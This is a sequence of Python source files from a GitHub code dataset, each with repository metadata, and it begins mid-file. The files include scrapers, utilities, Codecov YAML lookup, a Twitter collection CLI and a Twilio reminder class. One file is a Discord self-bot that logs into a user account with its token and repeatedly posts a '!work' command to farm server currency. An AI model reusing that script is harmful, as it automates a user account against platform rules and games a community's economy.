print(\"paring error\")\n\n        return data.toJSON()\n", "repo_name": "JamesSmith2/EthMonitoringLinux", "sub_path": "miners/ewbf.py", "file_name": "ewbf.py", "file_ext": "py", "file_size_in_byte": 1994, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 23, "dataset": "github-code", "pt": "78", "api": [{"api_name": "socket.socket", "line_number": 20, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 20, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 20, "usage_type": "attribute"}, {"api_name": "socket.error", "line_number": 43, "usage_type": "attribute"}, {"api_name": "stats.Stats", "line_number": 47, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 51, "usage_type": "call"}]}
{"seq_id": "5966820103", "text": "# -*- coding: utf-8 -*-\n# filename: getexchangerate.py\n\n\nimport urllib\nfrom bs4 import BeautifulSoup\nfrom dboperation import DBOperation\n\n\nclass GetExchangeRate(object):\n\tdef __init__(self):\n\t\tself.addr = \"https://finance.google.cn/finance/converter?a=\"\n\t\tself.dbo = DBOperation()\n\n\tdef getEurOfCny(self):\n\t\taddr = self.addr+ \"1&from=EUR&to=CNY\"\n\t\tpage = urllib.urlopen(addr).read()\n\t\tsoup = BeautifulSoup(page,\"html5lib\")\n\t\trate = soup.select(\".bld\")[0].string[:-4]\n\t\tself.dbo.insertExchangeRate('EUR','CNY',rate)\n\n\tdef getUsdOfCny(self):\n\t\taddr = self.addr + \"1&from=USD&to=CNY\"\n\t\tpage = urllib.urlopen(addr).read()\n\t\tsoup = BeautifulSoup(page,\"html5lib\")\n\t\trate = soup.select(\".bld\")[0].string[:-4]\n\t\tself.dbo.insertExchangeRate('USD','CNY',rate)\n\n\tdef mainControl(self):\n\t\tself.getEurOfCny()\n\t\tself.getUsdOfCny()\n\n\nif __name__ == '__main__':\n\tger = GetExchangeRate()\n\tger.getEurOfCny()\n\tger.getUsdOfCny()\n", "repo_name": "Evan-acg/InnotecWeChat", "sub_path": "public/getexchangerate.py", "file_name": "getexchangerate.py", "file_ext": "py", "file_size_in_byte": 909, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "dboperation.DBOperation", "line_number": 13, "usage_type": "call"}, {"api_name": "urllib.urlopen", "line_number": 17, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 18, "usage_type": "call"}, {"api_name": "urllib.urlopen", "line_number": 24, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "40480609549", "text": "import json\n\nfrom io import IOBase\n\n\nclass Dict(dict):\n    def __init__(self, source=None, **kwargs):\n        super(Dict, self).__init__()\n        for k, v in kwargs.items():\n            if k not in self:\n                self[k] = v\n\n    def __new__(cls, source=None, **kwargs):\n        self = super(Dict, cls).__new__(cls)\n        self.__init__(source=source, **kwargs)\n        if isinstance(source, dict):\n            for k, v in source.items():\n                self[k] = Dict(v)\n        elif isinstance(source, list):\n            self = [Dict(item) for item in source]\n        else:\n            self = source\n        return self\n\n    def __getattr__(self, attr):\n        try:\n            return self[attr]\n        except KeyError:\n            raise AttributeError(\"The dict has no attribute '%s'\" % attr)\n\n    def __setattr__(self, attr, value):\n        self[attr] = value\n\n\nclass TextDict(dict):\n\n    @staticmethod\n    def load(source):\n        if isinstance(source, IOBase):\n            return json.load(source,\n                             object_hook=lambda pairs: TextDict(pairs.items()))\n        elif isinstance(source, str):\n            return json.loads(source,\n                              object_hook=lambda pairs: TextDict(pairs.items()))\n\n    def __getattr__(self, attr):\n        try:\n            return self[attr]\n        except KeyError:\n            raise AttributeError(\"The dict has no attribute '%s'\" % attr)\n\n    def __setattr__(self, attr, value):\n        self[attr] = value\n", "repo_name": "Thesharing/spider-utility", "sub_path": "spiderutil/structure/dict.py", "file_name": "dict.py", "file_ext": "py", "file_size_in_byte": 1498, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "io.IOBase", "line_number": 39, "usage_type": "argument"}, {"api_name": "json.load", "line_number": 40, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 43, "usage_type": "call"}]}
{"seq_id": "17822962821", "text": "import logging\nfrom typing import Any, Mapping, Sequence\n\nimport shared.torngit as torngit\n\nlog = logging.getLogger(__name__)\n\n\nasync def fetch_current_yaml_from_provider_via_reference(\n    ref: str, repository_service: torngit.base.TorngitBaseAdapter\n) -> str:\n    repoid = repository_service.data[\"repo\"][\"repoid\"]\n    location = await determine_commit_yaml_location(ref, repository_service)\n    if not location:\n        log.info(\n            \"We were not able to find the yaml on the provider API\",\n            extra=dict(commit=ref, repoid=repoid),\n        )\n        return None\n    log.info(\n        \"Yaml was found on provider API\",\n        extra=dict(commit=ref, repoid=repoid, location=location),\n    )\n    try:\n        content = await repository_service.get_source(location, ref)\n        return content[\"content\"]\n    except torngit.exceptions.TorngitObjectNotFoundError:\n        log.exception(\n            \"File not in %s for commit\", extra=dict(commit=ref, location=location)\n        )\n\n\nasync def determine_commit_yaml_location(\n    ref: str, repository_service: torngit.base.TorngitBaseAdapter\n) -> str:\n    \"\"\"\n        Determines where in `ref` the codecov.yaml is, in a given repository\n        We currently look for the yaml in two different kinds of places\n            - Root level of the rpeository\n            - Specific folders that we know some customers use:\n                - `dev`\n                - `.github`\n    Args:\n        ref (str): The ref. Could be a branch name, tag, commit sha.\n        repository_service (torngit.base.TorngitBaseAdapter): The torngit handler that can fetch this data.\n            Indirectly determines the repository\n    Returns:\n        str: The path of the codecov.yaml file we found. Or `None,` if not found\n    \"\"\"\n    possible_locations = [\n        \"codecov.yml\",\n        \".codecov.yml\",\n        \"codecov.yaml\",\n        \".codecov.yaml\",\n    ]\n    acceptable_folders = set([\"dev\", \".github\"])\n    top_level_files = await repository_service.list_top_level_files(ref)\n    top_level_yaml = _search_among_files(possible_locations, top_level_files)\n    if top_level_yaml is not None:\n        return top_level_yaml\n    all_folders = set(f[\"path\"] for f in top_level_files if f[\"type\"] == \"folder\")\n    possible_folders = all_folders & acceptable_folders\n    for folder in possible_folders:\n        files_inside_folder = await repository_service.list_files(ref, folder)\n        yaml_inside_folder = _search_among_files(\n            possible_locations, files_inside_folder\n        )\n        if yaml_inside_folder:\n            return yaml_inside_folder\n\n\ndef _search_among_files(\n    desired_filenames: Sequence[str], all_files: Sequence[Mapping[str, Any]]\n) -> str:\n    for file in all_files:\n        if (\n            file.get(\"name\") in desired_filenames\n            or file.get(\"path\").split(\"/\")[-1] in desired_filenames\n        ):\n            return file[\"path\"]\n", "repo_name": "codecov/shared", "sub_path": "shared/yaml/fetcher.py", "file_name": "fetcher.py", "file_ext": "py", "file_size_in_byte": 2915, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "shared.torngit.base", "line_number": 10, "usage_type": "attribute"}, {"api_name": "shared.torngit", "line_number": 10, "usage_type": "name"}, {"api_name": "shared.torngit.exceptions", "line_number": 27, "usage_type": "attribute"}, {"api_name": "shared.torngit", "line_number": 27, "usage_type": "name"}, {"api_name": "shared.torngit.base", "line_number": 34, "usage_type": "attribute"}, {"api_name": "shared.torngit", "line_number": 34, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.Mapping", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 73, "usage_type": "name"}]}
{"seq_id": "24438353390", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Dec 25 00:29:08 2020\r\n\r\n@author: HYF,JZ, email: jz2716@buaa.edu.cn\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom lifelines import KaplanMeierFitter\r\nfrom lifelines.statistics import logrank_test\r\nfrom keras.models import load_model\r\nimport os\r\nimport sys,getopt\r\n\r\ndef main(argv):\r\n    path = ''\r\n    inputfile = ''\r\n    modelp = ''\r\n    try:\r\n        opts, args = getopt.getopt(argv,\"ho:i:m:\",[\"path=\",\"ifile\",\"modelp=\"])\r\n    except getopt.GetoptError:\r\n        print('test.py -o <path> -i <inputfile> -m <model_path>')\r\n        sys.exit(2)\r\n    for opt, arg in opts:\r\n        if opt == '-h':\r\n            print('test.py -o <path> -i <inputfile> -m <model_path>')\r\n            sys.exit()\r\n        elif opt in (\"-o\", \"--path\"):\r\n            path = arg\r\n        elif opt in (\"-i\", \"--ifile\"):\r\n            inputfile = arg\r\n        elif opt in (\"-m\", \"--modelp\"):\r\n            modelp = arg\r\n    return [path,inputfile,modelp]\r\n\r\nif __name__ == \"__main__\":\r\n    a=main(sys.argv[1:])\r\n    path=a[0]\r\n    inputfile=a[1]\r\n    modelp=a[2]\r\n\r\nkmf = KaplanMeierFitter()\r\n\r\noutter_path = path+\"/neoDL_results\"\r\nos.mkdir(outter_path)\r\n\r\n#########load the best model\r\nmodel=load_model(modelp)\r\n\r\n########get test set from pri cohort, randomly select 60% from each labeled group\r\ndef test_input():\r\n    t1=pd.read_csv(inputfile)\r\n    t1.to_csv(outter_path+'/testnresult.csv')\r\n    test_final=t1.drop(columns=['name','sampleID','days','vital'])\r\n    return test_final\r\n\r\n########survival analysis\r\ndef surv(f):\r\n    ax=plt.subplot(111)\r\n    f=f[['days','vital','res']]\r\n    #separate the data into 2 groups with deep learning result\r\n    f0=f[(f.res==0)]\r\n    f1=f[(f.res==1)]\r\n    t0=f0['days']\r\n    e0=f0['vital']\r\n    t1=f1['days']\r\n    e1=f1['vital']\r\n    #survival analysis and making plots\r\n    kmf.fit(t0,e0,label='0')\r\n    kmf.plot(ax=ax)\r\n    kmf.fit(t1,e1,label='1')\r\n    kmf.plot(ax=ax)\r\n    plt.ylim(0,1)\r\n    results = logrank_test(t0, t1, e0, e1)\r\n    p=results.p_value\r\n    plt.text(1,1,'P=%s'%str(p))\r\n    plt.savefig(outter_path+'/surv_fig.png')\r\n    plt.close()\r\n    return p\r\n\r\n#########whole process\r\n#specificate the format for deep learning\r\na=test_input()\r\ntest=np.array(a.values)\r\ntest=test.reshape(test.shape[0],1,test.shape[1]) \r\npred=model.predict(test)#cluster results\r\n#save the results\r\nres=[]\r\nfor i in pred:\r\n    res.append(round(i[0]))#get integers of the results\r\n#joint the result with the original test set\r\nres=pd.DataFrame(res)\r\npatha=outter_path+'/testnresult.csv'\r\nfile=pd.read_csv(patha)\r\nfile['res']=res\r\nfile.to_csv(patha)  \r\np=surv(file)#p value in survival analysis\r\n#output p\r\nprint('finish predicting')\r\nprint(\"P-value from survival analysis is:%s\"%p)\r\n", "repo_name": "zhangjbig/neoDL", "sub_path": "neoDL.py", "file_name": "neoDL.py", "file_ext": "py", "file_size_in_byte": 2773, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "getopt.getopt", "line_number": 22, "usage_type": "call"}, {"api_name": "getopt.GetoptError", "line_number": 23, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 25, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 39, "usage_type": "attribute"}, {"api_name": "lifelines.KaplanMeierFitter", "line_number": 44, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 47, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 50, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "lifelines.statistics.logrank_test", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.text", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 86, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 94, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 96, "usage_type": "call"}]}
{"seq_id": "19045742739", "text": "import loguru\r\nfrom discord.ext.commands import Bot\r\nfrom discord import Intents\r\nfrom configparser import ConfigParser\r\nimport time\r\n\r\nc = ConfigParser()\r\nfile = open(\"settings.ini\", \"r\")\r\ntext = file.read()\r\nfile.close()\r\ndel file\r\n\r\n#money_cathced = 0\r\n\r\n#client = Bot([\"Catcher\", \"catcher\"], self_bot=True, intents=Intents.all())\r\n\r\nclass getLogger():\r\n\tdef __init__(self):\r\n\t\tself.log = loguru.logger\r\n\t\tself.log.add(\"logs/log_{time}.log\")\r\n\r\n\tdef get(self):\r\n\t\treturn self.log\r\n\r\nlogger = getLogger().get()\r\n\r\nif text == \"\":\r\n\tlogger.info(\"Enter user token for connecting to your account.\")\r\n\ttoken = input(\"Token: \")\r\n\r\n\tlogger.info(\"Good. Now enter guild id where you want farm some money.\")\r\n\tguildID = int(input(\"Guild ID: \"))\r\n\r\n\tlogger.info(\"Good. Now enter channel id where you can send command\")\r\n\tchannelID = int(input(\"Channel ID: \"))\r\n\r\n\tlogger.info(\"Enter command for work (Default: !work)\")\r\n\tcommand = input(\"Command (Default: !work): \")\r\n\tif command == \"\":\r\n\t\tcommand = \"!work\"\r\n\t\tlogger.info(\"Default command\")\r\n\r\n\tlogger.info(\"Enter SECONDS. This is enterval of sending commands.\")\r\n\tseconds = int(input(\"Seconds: \"))\r\n\r\n\tc[\"settings\"] = {\r\n\t\"token\": token, # 0\r\n\t\"guild\": guildID, # 1\r\n\t\"channel\": channelID, # 2\r\n\t\"command\": command, # 3\r\n\t\"interval\": seconds # 4\r\n\t}\r\n\twith open(\"settings.ini\", \"w\") as w:\r\n\t\tc.write(w)\r\n\t\t#w.close()\r\n\r\n\tlogger.info(\"Done, restart the bot...\")\r\n\tinput()\r\n\texit(0)\r\n\r\nclient = Bot([\"Catcher\", \"catcher\"], self_bot=True, intents=Intents.all())\r\nconfig = c.read(\"settings.ini\")\r\n\r\n@client.event\r\nasync def on_ready():\r\n\tlogger.info(\"Bot logged\")\r\n\r\n\twhile True:\r\n\t\tchannel = None\r\n\t\t#guild = None\r\n\r\n\t\ttry:\r\n\t\t\tchannel = client.get_guild(int(c.get(\"settings\", \"guild\"))).get_channel(int(c.get(\"settings\", \"channel\")))\r\n\t\texcept Exception as error:\r\n\t\t\tlogger.fatal(\"Can't get channel! Log: \" + error)\r\n\t\t\tlogger.fatal(\"Shutdowning! Press ENTER for close.\")\r\n\t\t\tinput()\r\n\t\t\texit(0)\r\n\r\n\t\tawait channel.send(str(c.get(\"settings\", \"command\")))\r\n\t\tlogger.info(\"Command sent.\")\r\n\t\ttime.sleep(int(c.get(\"settings\", \"interval\")))\r\n\r\n\r\nclient.run(str(c.get(\"settings\", \"token\")), bot=False)\r\n\r\n", "repo_name": "ThIsIsTails/money-farmer", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2142, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "configparser.ConfigParser", "line_number": 7, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 19, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Bot", "line_number": 61, "usage_type": "call"}, {"api_name": "discord.Intents.all", "line_number": 61, "usage_type": "call"}, {"api_name": "discord.Intents", "line_number": 61, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 82, "usage_type": "call"}]}
{"seq_id": "21699199022", "text": "import os\nimport urllib\nfrom twilio.rest import Client\n\nclass TwilioAPI:\n\tdef __init__(self):\n\t\t\"\"\"\n\t\tYour Account Sid and Auth Token from twilio.com/console\n\t\tand set the environment variables. See http://twil.io/secure\n\t\t\"\"\"\n\n\t\tself.account_sid = os.environ['TWILIO_ACCOUNT_SID']\n\t\tself.auth_token = os.environ['TWILIO_AUTH_TOKEN']\n\t\tself.twilio_phone_number = os.environ['TWILIO_PHONE_NUMBER']\n\t\tself.client = Client(self.account_sid, self.auth_token)\n\n\t\tself.call_domain = 'http://twimlets.com/echo?Twiml='\n\n\tdef do_remind_call(self, phone_number:str):\n\t\t\"\"\"\n\t\tsee this: https://www.twilio.com/labs/twimlets/echo\n\t\tInput:\n\t\t\t- phone_number: phone number to send calls to\n\t\tSends a phone call to phone_number with contents of remind_voice_call.xml\n\t\t\"\"\"\n\n\t\twith open('./remind_voice_call.xml') as f:\n\t\t\tremind_voice_call_xml = urllib.parse.quote_plus(f.read())\n\t\n\t\tcall = self.client.calls.create(\n\t\t\turl = self.call_domain + remind_voice_call_xml,\n\t\t\tto = phone_number,\n\t\t\tfrom_ = self.twilio_phone_number\n\t\t)\n\t\treturn call\n\t\t\n\tdef do_remind_sms(self, phone_number:str):\n\t\t\"\"\"\n\t\tInput:\n\t\t\t- phone_number: phone number to send calls to\n\t\tSends a SMS to phone_number with contents of sms_content.txt\n\t\t\"\"\"\n\t\tsms = self.client.messages.create(\n\t\t\t\tbody=open('sms_content.txt', 'r').read(),\n\t\t\t\tto=phone_number,\n\t\t\t\tfrom_=self.twilio_phone_number\n\t\t\t)\n\t\treturn sms", "repo_name": "willyspinner/addictionator", "sub_path": "twilio_api/twilio_call.py", "file_name": "twilio_call.py", "file_ext": "py", "file_size_in_byte": 1364, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "twilio.rest.Client", "line_number": 15, "usage_type": "call"}, {"api_name": "urllib.parse.quote_plus", "line_number": 28, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 28, "usage_type": "attribute"}]}
{"seq_id": "31560432489", "text": "import collections\n\n#Node data\nnodes = [\n\t('a', 'b'),\n\t('a', 'c'),\n\t('b', 'a'),\n\t('b', 'd'),\n\t('c', 'a'),\n\t('d', 'a'),\n\t('d', 'b'),\n\t('d', 'c'),\n]\n\n#Create a graph by using default dict\ngraph = collections.defaultdict(list)\n", "repo_name": "mikaelahonen/notebook", "sub_path": "Python/Data structures/default-dicts.py", "file_name": "default-dicts.py", "file_ext": "py", "file_size_in_byte": 224, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.defaultdict", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "44340197337", "text": "import cmd\nimport time, sys\nimport threading\nimport json\nfrom arx_mgr import scan_tweets\nfrom run_job import Job\nfrom job_mgr import Dispatcher\n\n# Import NetworkX if available, for user interaction graph export\ntry:\n    import networkx as nx\n    import twitter_graph\nexcept:\n    nx = None\n\nclass TestCmd(cmd.Cmd):\n    \n    intro = 'Welcome to Ornitholog data acquisition tool for Twitter. Try \\'?\\' for help'\n    prompt = ': '\n    use_rawinput = False\n    \n    def __init__(self, **kwargs):\n        self.dispatcher = None\n        kwargs.setdefault('stdin', None)\n        kwargs.setdefault('stdout', None)\n        super(TestCmd, self).__init__(completekey='tab', **kwargs)\n        \n    \n    def do_quit(self, arg):\n        if len(self.dispatcher.getActiveJobs()) > 0:\n            print('QUITTING WILL TERMINATE ALL ACTIVE JOBS!!\\n'\n                     'There are currently',len(self.dispatcher.getActiveJobs()),'jobs still running.')\n        conf = input('Really quit? (y/n) ')\n        if conf.strip().lower() == 'y':\n            if len(self.dispatcher.getActiveJobs()) > 0:\n                print('Ending all collection threads...')\n                for job in self.dispatcher.getJobs():\n                    self.dispatcher.setJobStatus(job,Job.STOPPING)\n                self.dispatcher.ex.shutdown(wait=True)\n                time.sleep(0.1)\n                sys.exit(\"Ornitholog was terminated by user command.\")\n            else:\n                self.dispatcher.ex.shutdown(wait=True)\n                time.sleep(0.1)\n                sys.exit(\"Ornitholog was terminated by user command.\")\n\n    def help_quit(self):\n        print('Exit Ornitholog, stopping all data collection.')\n    \n    def do_start(self, arg):\n        if len(arg.strip()) == 0 :\n            self.onecmd('help start')\n        elif arg.lower() == '--all' :\n            print('Starting all jobs is not currently implemented.')\n        else:\n            print('Starting', arg)\n            self.dispatcher.pushRequest(arg)\n    def help_start(self):\n        print('Start a collection job defined by the supplied job file.\\n'\n              'ex: \\'start my_job\\' to start the job file jobs/my_job.json\\n'\n              'Use \\'start --all\\' to automatically execute all jobs in /jobs')\n    \n    def do_stop(self, arg):\n        if len(arg.strip()) == 0 :\n            self.onecmd('help stop')\n        elif arg.lower() == '--all' :\n            conf = input('This will stop ALL jobs! Are you sure? (y/n) ')\n            if conf.strip().lower() == 'y' :\n                print('All jobs are being terminated!')\n                for job in self.dispatcher.getJobs():\n                    self.dispatcher.setJobStatus(job,Job.STOPPING)\n        else :\n            self.dispatcher.setJobStatus(arg,Job.STOPPING)\n            print('Stopping',arg)\n            time.sleep(0.1)\n    def help_stop(self):\n        print('Stop a collection job already running. The \\'--all\\' flag stops all active jobs.')\n        \n    def do_status(self, arg):\n        if len(arg.strip()) == 0 :\n            self.onecmd('help status')\n        elif arg.lower() == '--all':\n            for job in sorted(self.dispatcher.getJobs()):\n                print(job,'is',self.dispatcher.getJobStatus(job).name)\n        else:\n            print(arg,'is',self.dispatcher.getJobStatus(arg).name)\n    def help_status(self):\n        print('Return the status of an active job.\\n'\n              'ex: \\'status my_job\\' to check on the job defined in jobs/my_job.json')\n        \n    def do_list(self, arg):\n        print('Not yet implemented.')\n    def help_list(self):\n        print('The functionality to list all available jobs and their status is not yet complete.')\n    \n    def do_delete(self, arg):\n        print('Not yet implemented')\n    def help_delete(self):\n        print('The functionality to remove inactive jobs from the list is not yet complete.')\n    \n    def do_exportgraph(self, arg):\n        \n        # Make sure the user has NetworkX installed\n        if nx is None:\n            print('NetworkX library is required for this feature.')\n            return\n        \n        # Initialize filename and flags to default values\n        job = None; single_file = False; outfile = None\n        min_id = None; max_id = None\n        min_date = None; max_date = None\n        undirected = False; multigraph = False\n        replies = True; repl_explicit = False\n        mentions = False; retweets = False; quotes = False\n        \n        # Scan filename and flags from the user input\n        try:\n            params = arg.strip()\n            \n            # Get the job or filename\n            if params[0] == '\"':\n                end = params.find('\"',start=1)+1\n                job = params[:end]\n            elif params[0] == \"'\":\n                end = params.find(\"'\",start=1)+1\n                job = params[:end]\n            else:\n                job = params.split()[0]\n            params = params[len(job):].strip()  # Remove the file/job name\n\n            # Get the output filename\n            if len(params) > 0 and params[0] != '-':\n                if params[0] == '\"' :\n                    end = params.find('\"', start=1) + 1\n                    outfile = params[:end]\n                elif params[0] == \"'\" :\n                    end = params.find(\"'\", start=1) + 1\n                    outfile = params[:end]\n                else :\n                    outfile = params.split()[0]\n                params = params[len(outfile):]  # Remove the output filename\n            else:\n                outfile = 'data/graph.gml'\n                params = ' ' + params\n\n            # Get the flags\n            flags = params.split(' -')      # Split the remaining string into flags\n            flags.pop(0)                    # Pop the leading empty string from the list of flags\n            for flag in flags:              # Iterate through flags\n                # Check multi-character flags\n                if flag[0] == '-' and len(flag) > 1:\n                    flag = flag[1:]\n                    if flag.lower() == 'singlefile':\n                        single_file = True\n                    elif flag.split()[0].lower() == 'date':\n                        bounds = flag.split()[1].split(':')\n                        try:\n                            min_date = int(bounds[0])\n                        except:\n                            pass\n                        try:\n                            max_date = int(bounds[1])\n                        except:\n                            pass\n                    elif flag.split()[0].lower() == 'index':\n                        bounds = flag.split()[1].split(':')\n                        try :\n                            min_id = int(bounds[0])\n                        except :\n                            pass\n                        try :\n                            max_id = int(bounds[1])\n                        except :\n                            pass\n                # Check single-character flags\n                else:\n                    if 'U' in flag: undirected = True\n                    if 'M' in flag: multigraph = True\n                    if 'r' in flag: repl_explicit = True\n                    if 'm' in flag: mentions = True\n                    if 't' in flag: retweets = True\n                    if 'q' in flag: quotes = True\n                    \n            # Check if user didn't want replies included\n            if (mentions or retweets or quotes) and not repl_explicit: replies = False\n            \n        except:\n            print('Syntax error in exportgraph request; check your entry.')\n            raise\n        \n        try:\n            if len(job) > 4 and job[-4:].lower() == '.arx' and '/' in job:\n                job = {'path':job[0:job.rfind('/')]}\n            elif len(job) > 4 and job[-4:].lower() == '.arx' and '\\\\' in job:\n                job = {'path':job[0:job.rfind('\\\\')]}\n            elif not single_file:\n                with open('jobs/' + job + '.json') as jobfile :\n                    job = json.load(jobfile)\n        except:\n            print('Unable to load specified job!')\n            return\n        \n        # Iterate through tweets to build the graph\n        tweetgen = scan_tweets(job, min_id, max_id, min_date, max_date)\n        graph = twitter_graph.build_graph(tweetgen, not undirected, multigraph, replies, mentions, retweets, quotes)\n        \n        # Write the graph to file\n        nx.write_gml(graph, outfile)\n    def help_exportgraph(self):\n        print('Build and export the user interaction graph of a specified job or index.arx'+\n              '\\nfile. If no output file is specified, the graph is saved to data/graph.gml.'+\n              '\\nSyntax:'+\n              '\\nexportgraph <jobname> <output file> [options]'+\n              '\\n\\nAlternatively, any file containing one tweet JSON object per line can be'+\n              '\\nused with the \"--singlefile\" option.'+\n              '\\n\\nSpecify the parameters for creating the graph using:'+\n              '\\n\\t--index min:max\\t to specify a minimum and maximum tweet ID when building'+\n              '\\n\\t\\t\\t\\t\\t the graph (omit a min or max bound to include all tweets'+\n              '\\n\\t\\t\\t\\t\\t before/after that index)'+\n              '\\n\\t--date min:max\\t to specify a minimum and maximum (local) POSIX time for'+\n              '\\n\\t\\t\\t\\t\\t tweets to be included (omit a min or max bound to include'+\n              '\\n\\t\\t\\t\\t\\t all tweets before/after that date)'+\n              '\\n\\t-U\\t to generate an undirected graph'+\n              '\\n\\t-M\\t to generate one edge per interaction instead of weighting edges by the'+\n              '\\n\\t\\t # of repeated interactions'+\n              '\\n\\t-r\\t to include Replies in user interactions (this is the default if no'+\n              '\\n\\t\\t other option is specified)'+\n              '\\n\\t-m\\t to include mentions in user interactions'+\n              '\\n\\t-t\\t to include reTweets in user interactions'+\n              '\\n\\t-q\\t to include quoted tweets in user interactions.'+\n              '\\n\\nExample:\\nexportgraph \"C:\\\\Twitter Data\\\\tweets.json\" C:\\\\tweetgraph.gml --singlefile --date\\n 1525132800: -rmU\\n')\n\nclass Commander(threading.Thread):\n    \"\"\"\n    Easy interface for controlling Ornitholog via terminal. Starting this thread automatically creates a work\n    dispatcher and attaches it to a command terminal on stdin+stdout.\n    \"\"\"\n    \n    \n    def __init__(self,**kwargs):\n        # Superclass constructor\n        threading.Thread.__init__(self,name='CmdTerminal',**kwargs)\n        \n        # Create a dispatcher, attach it to a terminal so the user can control it\n        print('Preparing terminal...')\n        self.terminal = TestCmd()\n        print('Creating dispatcher...')\n        self.terminal.dispatcher = Dispatcher(name='Dispatcher')\n        self.terminal.dispatcher.daemon = True\n        print('System ready.\\n')\n    \n    def run(self):\n        # Initialize the dispatcher and its respective terminal for user-input.\n        self.terminal.dispatcher.start()\n        self.terminal.cmdloop()\n        \n", "repo_name": "geofurb/Ornitholog", "sub_path": "src/cmd_interface.py", "file_name": "cmd_interface.py", "file_ext": "py", "file_size_in_byte": 11055, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cmd.Cmd", "line_number": 16, "usage_type": "attribute"}, {"api_name": "run_job.Job.STOPPING", "line_number": 38, "usage_type": "attribute"}, {"api_name": "run_job.Job", "line_number": 38, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 40, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 41, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 44, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 45, "usage_type": "call"}, {"api_name": "run_job.Job.STOPPING", "line_number": 71, "usage_type": "attribute"}, {"api_name": "run_job.Job", "line_number": 71, "usage_type": "name"}, {"api_name": "run_job.Job.STOPPING", "line_number": 73, "usage_type": "attribute"}, {"api_name": "run_job.Job", "line_number": 73, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 75, "usage_type": "call"}, {"api_name": "json.load", "line_number": 198, "usage_type": "call"}, {"api_name": "arx_mgr.scan_tweets", "line_number": 204, "usage_type": "call"}, {"api_name": "twitter_graph.build_graph", "line_number": 205, "usage_type": "call"}, {"api_name": "networkx.write_gml", "line_number": 208, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 233, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 242, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 242, "usage_type": "attribute"}, {"api_name": "job_mgr.Dispatcher", "line_number": 248, "usage_type": "call"}]}
